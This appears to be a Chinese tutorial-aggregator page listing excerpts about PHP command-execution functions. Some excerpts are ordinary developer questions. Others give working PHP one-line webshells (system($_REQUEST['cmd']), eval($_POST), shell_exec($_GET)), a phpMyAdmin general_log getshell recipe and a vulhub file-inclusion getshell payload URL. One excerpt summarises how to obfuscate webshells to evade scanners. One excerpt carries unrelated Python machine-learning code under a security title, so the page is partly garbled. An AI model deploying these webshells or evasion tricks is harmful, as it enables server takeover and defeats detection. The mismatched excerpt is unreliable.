【PHP命令行工具shell_exec,exec,passthru,system详细使用介绍_php技巧】教程文章相关的互联网学习教程文章

从PHP / Java / Python Web应用程序调用shell命令(包括那些需要root权限的命令)的正确方法是什么?

我期待开发一个远程系统管理Web应用程序(例如Webmin).显然,我需要调用shell命令来执行root或其他特定的非nobody用户发出的命令. 这项任务的一般准则是什么? 我现在想到的唯一解决方案是在特殊端口上运行Web服务器,该端口只能由本地和VPN连接的用户访问(通过防火墙).但也许有一些特殊的技巧可以保护这样的应用程序,即使它暴露在公共网络上?解决方法:由于我们讨论的是用于控制本机任务的Web应用程序,因此您需要考虑几个方面(至少对...

PHP – 浏览器中的shell_exec输出为空【代码】

我在shell_exec()中运行一个简单的wget命令 wget_file.php<?php $command = "wget http://mydomain.co/media/bigbigbig.wav"; $output = shell_exec($command); echo $output; ?>根据http://www.php.net/shell_exec我可能期望输出:“执行命令的输出,如果发生错误或命令不产生输出,则为NULL.” 如果我从命令行运行wget_file.php,我会看到wget结果的显示.但是,如果我从浏览器运行它,则不会给出结果. (但文件确实下载成功) 我打算通过...

不能从交互式shell中获取mage.php【代码】

我想尝试一些使用Magento模型和类的代码片段(即将制作一个脚本). 问题是我收到以下错误:fdr@fderose-gtrade:/var/www/globaltrade$ fdr@fderose-gtrade:/var/www/globaltrade$php -a Interactive shell php > require './app/Mage.php'; Fatal error: Class 'Mage' not found in /var/www/globaltrade/app/Mage.php on line 31Mage.php第31行如下:Mage::register('original_include_path', get_include_path());有没有人知道可能...

vulhub-php/php_inclusion_getshell(转)【代码】

1 import numpy as np2 import pandas as pd3 import matplotlib.pyplot as plt4 from scipy.io import loadmat5 from scipy.optimize import minimize6 def load_data(path):7 data=loadmat(path)8 X=data[X]9 y=data[y] 10 # print(type(X),type(y)) 11 return X,y 12 path=rC:\Users\Earth\Desktop\Coursera-ML-using-matlab-python-master\machine-learning-ex3\ex3\ex3data1.mat 13 X,y=load_data(path) ...

vulhub-php/php_inclusion_getshell【代码】【图】

注:本地测试php文件包含+phpinfo泄露导致getshell,此漏洞与php版本无关 使用vulhub环境进行复现:phpinfo路径:http://127.0.0.1:8080/phpinfo.php 文件包含路径:http://127.0.0.1:8080/lfi.phpdocker-compose up -d 开启环境后直接使用exp进行运行即可此时已经成功在/tmp/g中写入永久的shell,然后利用文件包含进行getshellhttp://127.0.0.1:8080/lfi.php?file=/tmp/g&1=system(%22id%22); 此时测试完成,简单对exp进行一个分...

是否使用PHP / CGI的shell命令不好的做法?

shell命令是否被视为合法的编程接口?具体来说,从PHP页面或CGI文件在Linux应用程序服务器上执行bash shell命令有什么问题吗?这是否会引入效率或安全问题? 谢谢解决方法:有时可以,但…… 有时它是解决问题的最佳方式. 但可能的问题是: 安全 如果你没有做taint checking,请注意code injection. 性能 运行shell命令将涉及forking PHP解释器并执行复杂且相对较慢的system calls.这对于负载较轻的服务器是可以的,但对于繁忙的站点不起...

phpmyadmin之getshell总结【代码】【图】

title: phpmyadmin中getshell的几种姿势1,利用全局变量general_log去getshell show variables like ‘%general%’;然后将general_log打开,执行命令set global general_log=on; 因为phpstudy默认的根目录是/phpstudy/www/,所以接下来只需要修改日志文件的位置到网站的根目录下。 set global general_log_file=‘C:/phpstudy/www/v01cano.php’;验证文件是否存在访问该文件后发现,日志文件正常解析了,说明修改路径成功。会以文本...

无法使用PHP shell_exec()执行telnet命令【代码】

我正在尝试使用telnet和php进行邮件验证.整个过程在终端中说得很好,但是当我使用php shell_exec()时,它只运行到Telnet连接命令.连接telnet后,剩余的特定于telnet的命令将不再起作用. 有没有其他方法,我们需要使用PHP执行telnet? 更新:我正在尝试复制this教程. 这是我的代码public function mailtest(Request $request){//Taking input email$email = $request->input("email");$divide = explode("@", $email);//Find out the Do...

使用shell_exec()在php脚本中执行python【代码】

我在尝试在php服务器(LAMP)中执行python时遇到了一个奇怪的问题. (safe_mode关闭) 如果我输入:$output = shell_exec("ls -lah"); echo "<pre>$Output</pre>";我得到了ls命令的结果. $output = shell_exec(“tar –version”)相同;和其他应用程序,例如gzip. 但是,如果我切换以下任何一行:$output = shell_exec("python --version"); $output = shell_exec("python2.7 --version"); $output = shell_exec("/usr/bin/python --versi...

php shell_exec在后台一次执行多个命令【代码】

我在php / linux中遇到问题,如下所述: 我必须通过shell_exec执行linux命令(plesk cli命令订阅webspace-off). 问题是,当我从php执行此操作时,它会工作,但重新启动apache,导致空白页,而apache重新启动. 为了解决这个问题,我必须在后台调用那个shell_exec,并有一个延迟(预期结果:网页加载,4秒后运行linux脚本.) 我做了一些尝试,如:shell_exec("sleep 4 && /var/www/vhosts/site.com/httpdocs/wrapper2 3 --webspace-off ".$domain...

PHP安全之webshell和后门检测

PHP安全之webshell和后门检测 一、各种webshell 一句话木马,其形式如下所示:<?php if(isset($_REQUEST['cmd'])){ ????$cmd = ($_REQUEST["cmd"]); ????system($cmd); ????echo?"</pre>$cmd<pre>"; ????die; } ?>这种容易被安全软件检测出来。为了增强隐蔽性,出现了各种一句话木马的变形,通过各种函数来伪装,这里不得不吐槽PHP弱类型对于安全来说是致命的 a、使用str_replace函数<?php $a =str_replace(x,"","axsxxsxexrxxt");...

PHPMyWind5.4存储XSS后续getshell提权【图】

0x0 前言 通过留言处的xss,我们可以得到管理员的cookie,进而登陆后台: https://www.cnblogs.com/Rain99-/p/10701769.html 现在要从后台入手,进而getshell,提权 0x1 文件上传getshell 1. 修改上传类型 已经成功登陆了后台,管理员权限相对普通用户要高的多,所以可设置的地方也会变多。利用这些设置,可以进一步的尝试获取服务器的权限。 打开网站系统管理-网站信息配置-附件设置,我们可以看见后台可设置上传图片的类型,在上...

几种好用的经典webshell(php)

php经典一句话: <?php echo shell_exec($_GET[cmd]);?> 中国菜刀:官网:www.maicaidao.co原理:上传一句话(<?php @eval($_POST[我是密码]);?>)至服务器端,再用中国菜刀客户端(图形化界面)去连接服务器 webacoo(kali):特点:传输的数据包裹在cookie中,并非http包体内,起到一定绕过作用原理:生成webshell,上传至目标服务器,再拿webacoo去连接该webshell,返回可以执行系统命令的shell缺点:不可设置专属连接密码生成webshel...

PHP一句话木马Webshell变形免杀总结

000 前言 大部分Webshell查杀工具都是基于关键字特征的,通常他们会维护一个关键字列表,以此遍历指定扩展名的文件来进行扫描,所以可能最先想到的是各种字符串变形,下面总结了一些小的方法,各种不足之前还请看官拍砖. 001 字符串上的舞蹈 一般标准的一句话Webshell是利用PHP的eval函数,动态执行其他函数功能.其标准的形式如下: @eval ($_POST[xxxxx]); 很明显的eval会成为静态特征码Webshell扫描工具的关键字.加上一点小技巧,...

PHP-FPM监控shell

!/bin/bash #监控的网页地址url="http://dev2.jwsmed.com" #fastcgi启动/重启/停止脚本路径PROG=/data/fistsoft/php/sbin/php-fpm #fastcgi重启记录日志文件LOG=/data/services/logs/php_5525/restart.log #返回结果正常记录日志LOG2=/data/services/logs/php_5525/check.log #时间time=`date` #取得http状态码status=$(curl -H "dev2.jwsmed.com" -m 5 -L -s -w %{http_code} http://127.0.0.1 -o /dev/null) #如果不是200,就写入...

SYSTEM - 相关标签
命令行 - 相关标签